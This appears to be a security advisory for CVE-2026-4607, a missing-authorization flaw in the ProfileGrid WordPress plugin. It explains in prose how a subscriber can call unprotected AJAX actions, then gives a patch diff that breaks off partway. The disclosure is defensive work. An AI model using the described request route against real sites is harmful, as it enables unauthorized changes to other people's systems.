Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 12, 2026

CVE-2026-4607: ProfileGrid <= 5.9.8.4 – Missing Authorization to Authenticated (Subscriber+) Group Settings Modification (profilegrid-user-profiles-groups-and-communities)

CVE ID CVE-2026-4607
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 5.9.8.4
Patched Version 5.9.8.5
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4607:
This vulnerability allows authenticated attackers with subscriber-level access to modify site-wide ProfileGrid group settings. The issue affects the ProfileGrid plugin versions up to and including 5.9.8.4. The CVSS score is 4.3, indicating medium severity.

The root cause is missing authorization checks in three AJAX action handlers: profile_magic_set_group_order, profile_magic_set_group_items, and profile_magic_set_field_order. These methods are located in /admin/class-profile-magic-admin.php around lines 868-888. The patch introduces a new private method pg_validate_reorder_ajax_request() which checks current_user_can(‘manage_options’) and validates a nonce. Without this check, any authenticated user can call these AJAX actions. The code path is: wp_ajax_{action} hooks registered in class-profile-magic.php register these public methods, and they include partials that render settings forms.

Exploitation is straightforward. An attacker with subscriber credentials sends POST requests to /wp-admin/admin-ajax.php with action=pm_set_group_order, pm_set_group_items, or pm_set_field_order. The attacker can manipulate parameters like group menu order, group list order, group icon display, and field ordering. No nonce validation was required before the patch, so the attacker simply needs to be logged in. The attack vector is the WordPress AJAX API endpoint.

The patch adds the pg_validate_reorder_ajax_request() call at the beginning of each vulnerable method. This function checks that the current user has the ‘manage_options’ capability (administrator-level) and validates a nonce via check_ajax_referer. Before the patch, these methods included template files without any permission checks. After the patch, unauthorized users receive a JSON error with status 403 and the message ‘Unauthorized’.

The impact is limited but significant. An authenticated subscriber can modify global ProfileGrid group settings, including the order groups appear in menus, group item display configurations, and field ordering across all groups. This could allow defacement of the group directory, hiding or reordering groups, and disrupting the user experience. However, it does not provide direct privilege escalation to admin roles or data exfiltration.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-admin.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-admin.php
@@ -868,20 +868,33 @@


 	public function profile_magic_set_field_order() {
+		$this->pg_validate_reorder_ajax_request();
 		include 'partials/set-fields-order.php';
 		die;
 	}

 	public function profile_magic_set_group_order() {
+		$this->pg_validate_reorder_ajax_request();
 		include 'partials/set-groups-order.php';
 		die;
 	}

 	public function profile_magic_set_group_items() {
+		$this->pg_validate_reorder_ajax_request();
 		include 'partials/set-groups-order.php';
 		die;
 	}

+	private function pg_validate_reorder_ajax_request() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( esc_html__( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), 403 );
+		}
+
+		if ( ! check_ajax_referer( 'ajax-nonce', 'nonce', false ) ) {
+			wp_send_json_error( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ), 403 );
+		}
+	}
+
 	public function profile_magic_set_section_order() {
                 if ( !current_user_can('manage_options') ) {
                     die;
@@ -1876,6 +1889,15 @@

         }
 	public function pm_group_option_update() {
+		// This option sync is only needed on normal wp-admin page loads.
+		if ( ! is_admin() || wp_doing_ajax() || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) {
+			return;
+		}
+
+		if ( ! class_exists( 'PM_DBhandler' ) || ! class_exists( 'PM_request' ) ) {
+			return;
+		}
+
 		$dbhandler = new PM_DBhandler();
 		$pmrequest = new PM_request();

--- a/profilegrid-user-profiles-groups-and-communities/admin/partials/add-group-tabview.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/partials/add-group-tabview.php
@@ -26,6 +26,9 @@
     $row = $dbhandler->get_row( $identifier, $id );
 	if ( $row->group_options!='' ) {
 		$group_options = maybe_unserialize( $row->group_options );
+		if ( ! is_array( $group_options ) ) {
+			$group_options = array();
+		}
     }
 	if ( !empty( $row ) && $row->leader_rights!='' ) {
 		$leader_rights = maybe_unserialize( $row->leader_rights );
@@ -59,9 +62,8 @@
 	$groupid       = filter_input( INPUT_POST, 'group_id' );
         $group_tab = filter_input( INPUT_POST, 'group_tab' );
         $post      = wp_unslash( $_POST );
-	$raw_group_options = array();
-	if ( isset( $post['group_options'] ) && is_array( $post['group_options'] ) ) {
-		$raw_group_options = $post['group_options'];
+	if ( ! isset( $post['group_options'] ) || ! is_array( $post['group_options'] ) ) {
+		$post['group_options'] = array();
 	}
 	$add_members_raw = filter_input( INPUT_POST, 'pg_add_members', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
 	if ( $add_members_raw === null && isset( $_POST['pg_add_members'] ) ) {
@@ -1482,7 +1484,7 @@
                              </div>
                              <div class="uiminput
                              <?php
-								if ( !empty( $group_options ) && isset( $group_options['enable_group_admin_notification'] ) && $group_options['enable_group_admin_notification'] == 1 && $group_options['group_type'] == 'closed' ) {
+								if ( !empty( $group_options ) && isset( $group_options['enable_group_admin_notification'] ) && $group_options['enable_group_admin_notification'] == 1 && isset( $group_options['group_type'] ) && $group_options['group_type'] == 'closed' ) {
 									echo '';
 								}
 								?>
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-chat-system.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-chat-system.php
@@ -21,17 +21,12 @@
 		$extra_notification_data['latest_ts']      = isset( $summary['latest'] ) ? (int) $summary['latest'] : 0;
 		$extra_notification_data['dismissed_at']   = (int) get_user_meta( $uid, 'pg_msg_unread_dismissed_at', true );

-		$threads = $pmrequests->pm_get_user_all_threads( $uid );
-		if ( ! empty( $threads ) ) {
-			$thread = $threads[0];
-			if ( $thread->r_id == $uid ) {
-				$rid = $thread->s_id;
-			} else {
-				$rid = $thread->r_id;
-			}
-			$extra_notification_data['last_thread']       = $thread->t_id;
-			$extra_notification_data['rid']               = $rid;
-			$extra_notification_data['last_thread_count'] = $pmrequests->get_unread_msg_count( $thread->t_id );
+		$latest_tid = isset( $summary['latest_tid'] ) ? (int) $summary['latest_tid'] : 0;
+		$latest_rid = isset( $summary['latest_rid'] ) ? (int) $summary['latest_rid'] : 0;
+		if ( $latest_tid > 0 ) {
+			$extra_notification_data['last_thread']       = $latest_tid;
+			$extra_notification_data['rid']               = $latest_rid;
+			$extra_notification_data['last_thread_count'] = $pmrequests->get_unread_msg_count( $latest_tid );
 		}
 		return wp_json_encode( $extra_notification_data );

--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-dbhandler.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-dbhandler.php
@@ -356,7 +356,7 @@
 				 unset( $meta_query['search'] );
 			 }
 			 if ( isset( $meta_query['search_columns'] ) ) {
-				 $args['search_columns'] = array( $meta_query['search_columns'] );
+				 $args['search_columns'] = is_array( $meta_query['search_columns'] ) ? $meta_query['search_columns'] : array( $meta_query['search_columns'] );
 				 unset( $meta_query['search_columns'] );
 			 }
 				$args['meta_query'] = $meta_query;
@@ -402,7 +402,7 @@
 				unset( $meta_query['search'] );
 			}
 			if ( isset( $meta_query['search_columns'] ) ) {
-				$args['search_columns'] = array( $meta_query['search_columns'] );
+				$args['search_columns'] = is_array( $meta_query['search_columns'] ) ? $meta_query['search_columns'] : array( $meta_query['search_columns'] );
 				unset( $meta_query['search_columns'] );
 			}
                     $args['meta_query'] = $meta_query;
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-messenger.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-messenger.php
@@ -13,68 +13,62 @@


     public function pm_get_messenger_notification( $timestamp, $activity, $tid ) {
-        $dbhandler    = new PM_DBhandler();
+        return wp_json_encode( $this->pm_get_messenger_notification_data( $timestamp, $activity, $tid ) );
+    }
+
+    public function pm_get_messenger_notification_data( $timestamp, $activity, $tid ) {
         $pmrequests   = new PM_request();
         $current_user = wp_get_current_user();
         $uid          = $current_user->ID;
-        set_time_limit( 0 );
-        if ( $tid!=''&& $activity!='' ) {
+        $tid          = absint( $tid );
+
+        if ( $tid > 0 && $activity != '' ) {
             $pmrequests->update_typing_timestamp( $tid, $activity );
         }
-        $last_typing_ajax_call = strtotime( current_time( 'mysql' ) );
-        $last_ajax_call        = $timestamp!='' ? (int) ( $timestamp ) : null;

-            $flag    = 0;
-            $threads = $pmrequests->pm_get_user_all_threads( $uid );
-		if ( !empty( $threads ) ) {
-			$last_change_time      = $threads[0]->timestamp;
-			$last_change_in_thread = strtotime( $last_change_time );
-
-			if ( $tid!='' ) {
-                $typing_timestamp      = $pmrequests->get_typing_timestamp( $tid );
-                $last_change_in_typing = strtotime( $typing_timestamp );
-			}
-
-			if ( $last_change_in_thread > $last_ajax_call && ( $last_ajax_call != null||$tid=='' ) ) {
-				if ( $tid=='' ) {
-					return wp_json_encode( array() );
-				}
-
-				  $data   = true;
-				  $result = array(
-					  'activity'         => $activity,
-					  'data_changed'     => $data,
-					  'typing_timestamp' => $last_change_in_typing,
-					  'timestamp'        => $last_change_in_thread,
-				  );
-				  $json   = wp_json_encode( $result );
-				  return $json;
-			}
-
-                $data2 = false;
-			if ( $tid!='' ) {
-				$activity = $pmrequests->get_typing_status( $tid );
-			} else {
-				$activity ='nottyping';
-			}
-                $result = array(
-					'activity'         => $activity,
-					'data_changed'     => $data2,
-					'typing_timestamp' => $last_change_in_typing,
-					'timestamp'        => $last_change_in_thread,
-					'timexxx'          =>$timestamp,
-					'last_ajax'        =>$last_ajax_call,
-				);
-
-						$json =  wp_json_encode( $result );
-						 return $json;
-
-		}
-
-                $result =array();
-                $json   = wp_json_encode( $result );
-                return $json;
+        $last_ajax_call = $timestamp != '' ? (int) $timestamp : null;
+        $threads        = $pmrequests->pm_get_user_all_threads( $uid );
+
+        if ( empty( $threads ) ) {
+            return array();
+        }
+
+        $last_change_time      = $threads[0]->timestamp;
+        $last_change_in_thread = strtotime( $last_change_time );
+        $last_change_in_typing = 0;
+
+        if ( $tid > 0 ) {
+            $typing_timestamp      = $pmrequests->get_typing_timestamp( $tid );
+            $last_change_in_typing = ( $typing_timestamp ) ? strtotime( $typing_timestamp ) : 0;
+        }
+
+        if ( $last_change_in_thread > $last_ajax_call && ( $last_ajax_call != null || $tid == 0 ) ) {
+            if ( $tid == 0 ) {
+                return array();
+            }
+
+            return array(
+                'activity'         => $activity,
+                'data_changed'     => true,
+                'typing_timestamp' => $last_change_in_typing,
+                'timestamp'        => $last_change_in_thread,
+            );
+        }
+
+        if ( $tid > 0 ) {
+            $activity = $pmrequests->get_typing_status( $tid );
+        } else {
+            $activity = 'nottyping';
+        }

+        return array(
+            'activity'         => $activity,
+            'data_changed'     => false,
+            'typing_timestamp' => $last_change_in_typing,
+            'timestamp'        => $last_change_in_thread,
+            'timexxx'          => $timestamp,
+            'last_ajax'        => $last_ajax_call,
+        );
     }
     public function pm_messenger_delete_threads( $tid ) {
         $dbhandler    = new PM_DBhandler();
@@ -123,8 +117,10 @@
         if ( $uid !=$current_user->ID && $dbhandler->get_global_option_value( 'pm_enable_private_messaging', '1' )==1 ) :
             if ( is_user_logged_in() ) {
                 $messenger_url =  $pmrequests->profile_magic_get_frontend_url( 'pm_user_profile_page', '' );
-                $messenger_url = add_query_arg( '#pg-messages', '', $messenger_url );
                 $messenger_url = add_query_arg( 'rid', $uid, $messenger_url );
+                if ( false === strpos( $messenger_url, '#pg-messages' ) ) {
+                    $messenger_url .= '#pg-messages';
+                }
             } else {
                 $messenger_url = $pmrequests->profile_magic_get_frontend_url( 'pm_user_login_page', site_url( '/wp-login.php' ) );
                 $messenger_url = add_query_arg( 'errors', 'loginrequired', $messenger_url );
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-request.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-request.php
@@ -187,9 +187,14 @@
 		return $extensions;
 	}

+	private function pm_get_allowed_extensions_array( $extensions ) {
+		$normalized = strtolower( trim( (string) $extensions ) );
+		return array_values( array_unique( array_filter( array_map( 'trim', explode( '|', $normalized ) ) ) ) );
+	}
+
 	public function make_upload_and_get_attached_id( $filefield, $allowed_ext, $require_imagesize = array(), $parent_post_id = 0 ) {
-		$allowfieldstypes = strtolower( trim( $allowed_ext ) );
-		$attach_id        = '';
+		$allowed_extensions = $this->pm_get_allowed_extensions_array( $allowed_ext );
+		$attach_id          = '';
 		if ( is_array( $filefield ) && ! empty( $filefield ) ) {
 			$file = array(
 				'name'     => $filefield['name'],
@@ -230,7 +235,7 @@
 					// Check the type of tile. We'll use this as the 'post_mime_type'.
 					$filetype          = wp_check_filetype( basename( $filename ), null );
 					$current_file_type = strtolower( $filetype['ext'] );
-					if ( strpos( $allowfieldstypes, $current_file_type ) !== false && $too_small == false ) {
+					if ( in_array( $current_file_type, $allowed_extensions, true ) && $too_small == false ) {

 						// Get the path to the upload directory.
 						$wp_upload_dir = wp_upload_dir();
@@ -250,7 +255,7 @@
                                                 do_action('pg_media_file_uploaded', $attach_id, $attachment);

 					} else {
-						if ( strpos( $allowfieldstypes, $current_file_type ) === false ) {
+						if ( ! in_array( $current_file_type, $allowed_extensions, true ) ) {
 							return esc_html__( 'This file type is not allowed.', 'profilegrid-user-profiles-groups-and-communities' );
 						} else {
 							return $too_small;
@@ -498,7 +503,7 @@
                                             $allowed_ext       = $this->pm_maybe_extend_image_types( $allowed_ext );
                                             $require_imagesize = false;
                                         }
-					$allowfieldstypes = strtolower( trim( $allowed_ext ) );
+					$allowed_extensions = $this->pm_get_allowed_extensions_array( $allowed_ext );
 					$filefield        = $files[ $field_key ];

 					if ( is_array( $filefield ) ) {
@@ -515,7 +520,7 @@
 								 $current_file_type = strtolower( $filetype['ext'] );
 								if ( empty( $current_file_type ) || $current_file_type == '' ) {
 														  $error[] = esc_html__( 'This file type is not allowed.', 'profilegrid-user-profiles-groups-and-communities' );
-								} elseif ( strpos( $allowfieldstypes, $current_file_type ) === false ) {
+								} elseif ( ! in_array( $current_file_type, $allowed_extensions, true ) ) {
 														   $error[] = esc_html__( 'This file type is not allowed.', 'profilegrid-user-profiles-groups-and-communities' );
 								}

@@ -2288,8 +2293,7 @@

 			$identifier   = 'MSG_CONVERSATION';
 			$status       = apply_filters('pm_default_chat_status',2, $sid);
-			$allowed_html = array();
-			$content      = $content;
+			$content      = $this->pg_sanitize_message_content( $content );
                         if($tid=='')
                         {
                             $tid          = $this->fetch_or_create_thread( $sid, $rid );
@@ -2339,15 +2343,13 @@
                 $dbhandler    = new PM_DBhandler();
                 $identifier   = 'MSG_CONVERSATION';
                 $orignal_msg = $dbhandler->get_row($identifier,$mid,'m_id');
+		$content      = $this->pg_sanitize_message_content( $content );

                 if($sid!=$orignal_msg->s_id)
                 {
                     return false;
                 }
 		if ( $sid != '' && $rid != '' ) {
-
-			$allowed_html = array();
-			$content      = wp_kses( $content, $allowed_html );
 			//$tid          = $this->fetch_or_create_thread( $sid, $rid );
 			$tid = $orignal_msg->t_id;
 			$data = array( 'content' => $content );
@@ -2424,11 +2426,13 @@
 	}

 	public function is_thread_exsist( $sid, $rid ) {
-		if ( $sid != '' && $rid != '' ) {
+		$sid = absint( $sid );
+		$rid = absint( $rid );
+		if ( $sid > 0 && $rid > 0 ) {
 			$dbhandler  = new PM_DBhandler();
 			$identifier = 'MSG_THREADS';
 			$where      = 1;
-			$additional = " s_id in ($sid,$rid) AND r_id in ($sid,$rid)";
+			$additional = sprintf( ' s_id in (%1$d,%2$d) AND r_id in (%1$d,%2$d)', $sid, $rid );
 			$thread     = $dbhandler->get_all_result( $identifier, $column = '*', $where, 'results', 0, false, $sort_by = 'timestamp', true, $additional );
 			if ( $thread > 1 ) {
 				return true;
@@ -2441,11 +2445,13 @@
 	}

 	public function get_thread_id( $sid, $rid ) {
-		if ( $sid != '' && $rid != '' ) {
+		$sid = absint( $sid );
+		$rid = absint( $rid );
+		if ( $sid > 0 && $rid > 0 ) {
 			$dbhandler  = new PM_DBhandler();
 			$identifier = 'MSG_THREADS';
 			$where      = 1;
-			$additional = " s_id in ($sid,$rid) AND r_id in ($sid,$rid)";
+			$additional = sprintf( ' s_id in (%1$d,%2$d) AND r_id in (%1$d,%2$d)', $sid, $rid );
 			$thread     = $dbhandler->get_all_result( $identifier, $column = 't_id', $where, 'results', 0, false, $sort_by = 'timestamp', true, $additional );

 			if ( isset( $thread ) && count( $thread ) > 0 ) {
@@ -2460,10 +2466,31 @@

 	}

+	private function pg_sanitize_message_content( $content ) {
+		$content      = wp_unslash( (string) $content );
+		$allowed_html = $this->pg_allowed_html_wp_kses();
+
+		foreach ( $allowed_html as $tag => $attributes ) {
+			if ( ! is_array( $attributes ) ) {
+				continue;
+			}
+
+			foreach ( array_keys( $attributes ) as $attribute ) {
+				if ( 0 === strpos( $attribute, 'on' ) ) {
+					unset( $allowed_html[ $tag ][ $attribute ] );
+				}
+			}
+		}
+
+		return wp_kses( $content, $allowed_html );
+	}
+
 	public function pm_get_unread_message_summary( $uid ) {
 		$summary = array(
-			'count'  => 0,
-			'latest' => 0,
+			'count'      => 0,
+			'latest'     => 0,
+			'latest_tid' => 0,
+			'latest_rid' => 0,
 		);

 		$uid = absint( $uid );
@@ -2500,6 +2527,32 @@
 			$summary['latest'] = ( isset( $result->latest_ts ) && ! empty( $result->latest_ts ) ) ? strtotime( $result->latest_ts ) : 0;
 		}

+		if ( $summary['count'] > 0 ) {
+			$latest_unread = $wpdb->get_row(
+				$wpdb->prepare(
+					"SELECT mc.t_id, mc.s_id
+					FROM {$conversation_table} mc
+					INNER JOIN {$thread_table} mt ON mc.t_id = mt.t_id
+					WHERE mt.status = %d
+						AND ( mt.s_id = %d OR mt.r_id = %d )
+						AND mc.s_id != %d
+						AND mc.status = %d
+					ORDER BY mc.timestamp DESC, mc.m_id DESC
+					LIMIT 1",
+					$thread_active_status,
+					$uid,
+					$uid,
+					$uid,
+					$message_unread_status
+				)
+			);
+
+			if ( $latest_unread ) {
+				$summary['latest_tid'] = isset( $latest_unread->t_id ) ? (int) $latest_unread->t_id : 0;
+				$summary['latest_rid'] = isset( $latest_unread->s_id ) ? (int) $latest_unread->s_id : 0;
+			}
+		}
+
 		return $summary;
 	}
 	public function get_unread_msg_count( $tid ) {
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-rest-api.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-rest-api.php
@@ -2819,10 +2819,7 @@
 		$dbhandler = new PM_DBhandler();
 		$gid       = isset( $data['id'] ) ? absint( $data['id'] ) : 0;

-		// Always expose the raw DB row so callers can see every stored column
-		$data['db_row'] = (array) $group;
-
-		// If possible, include related records: group requests and paypal logs
+		// Keep the default group payload minimal and schema-oriented.
 		if ( $gid > 0 ) {
 			$group_requests = $dbhandler->get_all_result( 'GROUP_REQUESTS', '*', array( 'gid' => $gid ), 'results' );
 			if ( ! empty( $group_requests ) ) {
@@ -2831,9 +2828,6 @@
 				$data['group_requests'] = array();
 			}

-			$paypal_logs = $dbhandler->get_all_result( 'PAYPAL_LOG', '*', array( 'gid' => $gid ), 'results' );
-			$data['paypal_logs'] = $paypal_logs ? array_map( function( $r ) { return (array) $r; }, $paypal_logs ) : array();
-
 			// Fetch members: users whose usermeta 'pm_group' contains this gid (stored as serialized array)
 			$members = array();
 			$serialized_fragment = sprintf(':"%s";', $gid);
@@ -2845,7 +2839,7 @@
 						'compare' => 'LIKE',
 					),
 				),
-				'fields' => array( 'ID', 'user_login', 'display_name', 'user_email' ),
+				'fields' => array( 'ID', 'user_login', 'display_name' ),
 			);

 			$wp_users = get_users( $user_query_args );
@@ -2855,7 +2849,6 @@
 						'id'           => (int) $u->ID,
 						'user_login'   => sanitize_user( $u->user_login, true ),
 						'display_name' => sanitize_text_field( $u->display_name ),
-						'email'        => isset( $u->user_email ) ? sanitize_email( $u->user_email ) : '',
 						'avatar'       => esc_url_raw( get_avatar_url( $u->ID ) ),
 					);
 				}
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic.php
@@ -355,6 +355,8 @@
 				$this->loader->add_action( 'wp_ajax_pm_messenger_delete_threads', $plugin_public, 'pm_messenger_delete_threads' );
 				$this->loader->add_action( 'wp_ajax_pm_messenger_notification_extra_data', $plugin_public, 'pm_messenger_notification_extra_data' );
 				$this->loader->add_action( 'wp_ajax_pm_unread_message_summary', $plugin_public, 'pm_unread_message_summary' );
+				// REST is the default transport for notification polling; AJAX remains backward-compatible fallback.
+				$this->loader->add_action( 'rest_api_init', $plugin_public, 'register_messenger_notification_rest_routes' );
 				$this->loader->add_action( 'init', $plugin_public, 'pg_create_post_type' );
 				$this->loader->add_action( 'wp_ajax_pm_load_pg_blogs', $plugin_public, 'pm_load_pg_blogs' );
 				$this->loader->add_action( 'wp_ajax_pm_load_user_blogs_shortcode_posts', $plugin_public, 'pm_load_user_blogs_shortcode_posts' );
--- a/profilegrid-user-profiles-groups-and-communities/profile-magic.php
+++ b/profilegrid-user-profiles-groups-and-communities/profile-magic.php
@@ -8,7 +8,7 @@
  * Plugin Name:       ProfileGrid
  * Plugin URI:        http://profilegrid.co
  * Description:       ProfileGrid adds user groups and user profiles functionality to your site.
- * Version:           5.9.8.4
+ * Version:           5.9.8.5
  * Author:            ProfileGrid User Profiles
  * Author URI:        https://profilegrid.co
  * License:           GPL-2.0+
@@ -28,7 +28,7 @@
  */

 define('PROGRID_DB_VERSION',4.5);
-define('PROGRID_PLUGIN_VERSION','5.9.8.4');
+define('PROGRID_PLUGIN_VERSION','5.9.8.5');
 define('PROGRID_MULTI_GROUP_VERSION', 3.0);


--- a/profilegrid-user-profiles-groups-and-communities/public/class-profile-magic-public.php
+++ b/profilegrid-user-profiles-groups-and-communities/public/class-profile-magic-public.php
@@ -122,6 +122,8 @@
 				'ajax_url'         => admin_url( 'admin-ajax.php' ),
 				'plugin_emoji_url' => plugin_dir_url( __FILE__ ) . 'partials/images/img',
 				'nonce'            => wp_create_nonce( 'ajax-nonce' ),
+				'rest_nonce'       => wp_create_nonce( 'wp_rest' ),
+				'rest_unread_summary_url' => esc_url_raw( rest_url( 'profilegrid/v1/messenger/unread-summary' ) ),
 			)
 		);

@@ -190,6 +192,8 @@
 		$object['remove_msg']         = esc_html__( 'This message has been deleted.', 'profilegrid-user-profiles-groups-and-communities' );
 		$object['nonce']            = wp_create_nonce( 'ajax-nonce' );
 		$object['pg_delete_msg_nonce'] = wp_create_nonce( 'pg_delete_msg_nonce' );
+		$object['rest_notification_url'] = esc_url_raw( rest_url( 'profilegrid/v1/messenger/notification' ) );
+		$object['rest_nonce']           = wp_create_nonce( 'wp_rest' );
 		wp_localize_script( 'pg-messaging', 'pg_msg_object', $object );

 	}
@@ -242,19 +246,23 @@
 				array(
 					'ajax_url'         => admin_url( 'admin-ajax.php' ),
 					'plugin_emoji_url' => plugin_dir_url( __FILE__ ) . 'partials/images/img',
-					'nonce'            => wp_create_nonce( 'ajax-nonce' )
+					'nonce'            => wp_create_nonce( 'ajax-nonce' ),
+					'rest_nonce'       => wp_create_nonce( 'wp_rest' ),
+					'rest_unread_summary_url' => esc_url_raw( rest_url( 'profilegrid/v1/messenger/unread-summary' ) ),
 				)
 			);
 			$reg_sub_page                     = array();
 			$reg_sub_page['registration_tab'] = isset( $request['rm_reqpage_sub'] ) || isset( $request['rm_reqpage_pay'] ) || isset( $request['rm_reqpage_inbox'] ) ? 1 : 0;
 			wp_localize_script( 'profile-magic-footer.js', 'show_rm_sumbmission_tab', $reg_sub_page );
-                        wp_localize_script(
+			wp_localize_script(
 				'profile-magic-footer.js',
 				'pm_ajax_object',
 				array(
 					'ajax_url'         => admin_url( 'admin-ajax.php' ),
 					'plugin_emoji_url' => plugin_dir_url( __FILE__ ) . 'partials/images/img',
-					'nonce'            => wp_create_nonce( 'ajax-nonce' )
+					'nonce'            => wp_create_nonce( 'ajax-nonce' ),
+					'rest_nonce'       => wp_create_nonce( 'wp_rest' ),
+					'rest_unread_summary_url' => esc_url_raw( rest_url( 'profilegrid/v1/messenger/unread-summary' ) ),
 				)
 			);
 			$error                                 = array();
@@ -1344,6 +1352,75 @@



+	public function register_messenger_notification_rest_routes() {
+		register_rest_route(
+			'profilegrid/v1',
+			'/messenger/notification',
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'pm_rest_get_messenger_notification' ),
+				'permission_callback' => array( $this, 'pm_rest_messenger_notification_permission' ),
+			)
+		);
+
+		register_rest_route(
+			'profilegrid/v1',
+			'/messenger/unread-summary',
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'pm_rest_unread_message_summary' ),
+				'permission_callback' => array( $this, 'pm_rest_messenger_notification_permission' ),
+			)
+		);
+	}
+
+	public function pm_rest_messenger_notification_permission( $request ) {
+		if ( ! is_user_logged_in() ) {
+			return new WP_Error( 'pg_rest_auth_required', __( 'Authentication required', 'profilegrid-user-profiles-groups-and-communities' ), array( 'status' => 401 ) );
+		}
+
+		$nonce = $request->get_header( 'X-WP-Nonce' );
+		if ( empty( $nonce ) ) {
+			$nonce = $request->get_param( '_wpnonce' );
+		}
+
+		if ( empty( $nonce ) || ! wp_verify_nonce( (string) $nonce, 'wp_rest' ) ) {
+			return new WP_Error( 'pg_rest_invalid_nonce', __( 'Invalid nonce', 'profilegrid-user-profiles-groups-and-communities' ), array( 'status' => 403 ) );
+		}
+
+		return true;
+	}
+
+	public function pm_rest_get_messenger_notification( $request ) {
+		$pmmessenger = new PM_Messenger();
+		$timestamp   = $request->get_param( 'timestamp' );
+		$activity    = $request->get_param( 'activity' );
+		$tid         = absint( $request->get_param( 'tid' ) );
+		$uid         = get_current_user_id();
+
+		if ( $tid > 0 ) {
+			$thread = $this->pg_get_authorized_thread( $tid, $uid );
+			if ( false === $thread ) {
+				return new WP_Error( 'pg_rest_unauthorized_thread', __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), array( 'status' => 403 ) );
+			}
+		}
+
+		if ( $tid === 0 ) {
+			return rest_ensure_response( array() );
+		}
+
+		$payload = $pmmessenger->pm_get_messenger_notification_data( $timestamp, sanitize_text_field( (string) $activity ), $tid );
+		if ( is_array( $payload ) ) {
+			$payload['transport'] = 'rest';
+		}
+
+		return rest_ensure_response( $payload );
+	}
+
+	public function pm_rest_unread_message_summary( $request ) {
+		return rest_ensure_response( $this->pg_get_unread_message_summary_payload( get_current_user_id() ) );
+	}
+
 	public function pm_get_messenger_notification() {
 		if ( ! is_user_logged_in() ) {
 			wp_send_json_error( 'Authentication required', 401 );
@@ -1400,19 +1477,24 @@

 		check_ajax_referer( 'ajax-nonce', 'nonce' );

+		wp_send_json_success( $this->pg_get_unread_message_summary_payload( get_current_user_id() ) );
+	}
+
+	private function pg_get_unread_message_summary_payload( $uid ) {
 		$pmrequests = new PM_request();
-		$uid        = get_current_user_id();
 		$summary    = $pmrequests->pm_get_unread_message_summary( $uid );
 		$count      = isset( $summary['count'] ) ? (int) $summary['count'] : 0;
 		$latest_ts  = isset( $summary['latest'] ) ? (int) $summary['latest'] : 0;
+		$latest_tid = isset( $summary['latest_tid'] ) ? (int) $summary['latest_tid'] : 0;
+		$latest_rid = isset( $summary['latest_rid'] ) ? (int) $summary['latest_rid'] : 0;
 		$dismissed  = (int) get_user_meta( $uid, 'pg_msg_unread_dismissed_at', true );

-		wp_send_json_success(
-			array(
-				'count'     => $count,
-				'latest_ts' => $latest_ts,
-				'dismissed' => $dismissed,
-			)
+		return array(
+			'count'     => $count,
+			'latest_ts' => $latest_ts,
+			'latest_tid'=> $latest_tid,
+			'latest_rid'=> $latest_rid,
+			'dismissed' => $dismissed,
 		);
 	}

@@ -2141,53 +2223,33 @@
 	public function pm_get_friends_notification() {
 		$this->pm_validate_ajax_nonce_or_403( 'pm_get_friends_notification' );
 		$dbhandler   = new PM_DBhandler();
-		$identifier   = 'FRIENDS';
-		$timestamp    = filter_input( INPUT_GET, 'timestamp' );
+		$identifier  = 'FRIENDS';
+		$timestamp   = filter_input( INPUT_GET, 'timestamp', FILTER_VALIDATE_INT );
 		$current_user = wp_get_current_user();
 		$uid          = $current_user->ID;
-		set_time_limit( 0 );
-		while ( true ) {
-			$last_ajax_call   = isset( $timestamp ) ? (int) ( $timestamp ) : null;
-			$where            = array(
-				'user2'  => $uid,
-				'status' => 1,
-			);
-			$last_change_data = $dbhandler->get_all_result( $identifier, '*', $where );
-			foreach ( $last_change_data as $last_row ) {
-				$last_change_time = $last_row->action_date;
-			}
-
-			// get timestamp of when file has been changed the last time
-			$last_change_in_data_file = strtotime( $last_change_time );
-
-			// if no timestamp delivered via ajax or data.txt has been changed SINCE last ajax timestamp
-			if ( $last_ajax_call == null || $last_change_in_data_file > $last_ajax_call ) {
-
-				// get content of data.txt
-				$data = count( $last_change_data );
-				if ( ! isset( $data ) || empty( $data ) ) {
-					$data = '0';
-				}
-				// put data.txt's content and timestamp of last data.txt change into array
-				$result = array(
-					'data_from_file' => $data,
-					'timestamp'      => $last_change_in_data_file,
-				);
-
-				// encode to JSON, render the result (for AJAX)
-				$json = wp_json_encode( $result );
-				echo wp_kses_post($json);
-
-				// leave this loop step
-				break;
-
-			} else {
-				// wait for 1 sec (not very sexy as this blocks the PHP/Apache process, but that's how it goes)
-				sleep( 1 );
-				continue;
-			}
+		$last_ajax_call = ! empty( $timestamp ) ? (int) $timestamp : 0;
+		$where          = array(
+			'user2'  => $uid,
+			'status' => 1,
+		);
+		$requests       = $dbhandler->get_all_result( $identifier, '*', $where );
+		$last_change_ts = 0;
+		if ( ! empty( $requests ) ) {
+			$last_row       = end( $requests );
